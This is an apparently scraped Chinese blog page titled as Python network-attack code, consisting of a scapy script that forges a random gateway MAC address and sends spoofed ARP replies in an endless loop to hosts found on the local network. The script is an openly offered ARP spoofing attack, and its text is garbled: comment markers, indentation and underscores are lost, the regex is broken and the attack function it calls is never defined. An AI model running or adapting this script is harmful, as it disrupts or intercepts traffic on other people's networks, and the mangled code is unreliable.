python网络攻击代码_Python-python网络编程写arp攻击代码
from scapy.all import ARP,send,arping
import sys,re,random,time
stdout=sys.stdout
ip
IPADDR="192.168.1.102"
網關
gateway_ip="192.168.1.1"
tmp=[]
偽造網關mac地址
for i in range(0,6):
tmp.append(str("%02x"%random.randint(0x01,0xfe)))
gateway_hw=':'.join(tmp)
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def get_host():
得到在線主機的mac地址和對應ip地址
hw_ip = {}
sys.stdout = open('host.info','w')
arping(IPADDR)
sys.stdout = stdout
f = open('host.info','r')
info = f.readlines()
f.close
del info[0]
del info[0]
for host in info :
temp = re.split(r's+',host)
hw_ip[0]=temp[1]
hw_ip[1]=temp[2]
return hw_ip
if name == "main":
hw_ip = get_host()
while 1 :
arp_hack(hw=hw_ip[0],ip=hw_ip[1])
總結
以上是生活随笔為你收集整理的python网络攻击代码_Python-python网络编程写arp攻击代码的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: FishC《零基础学习python》笔记
- 下一篇: python 爬虫 包_python爬虫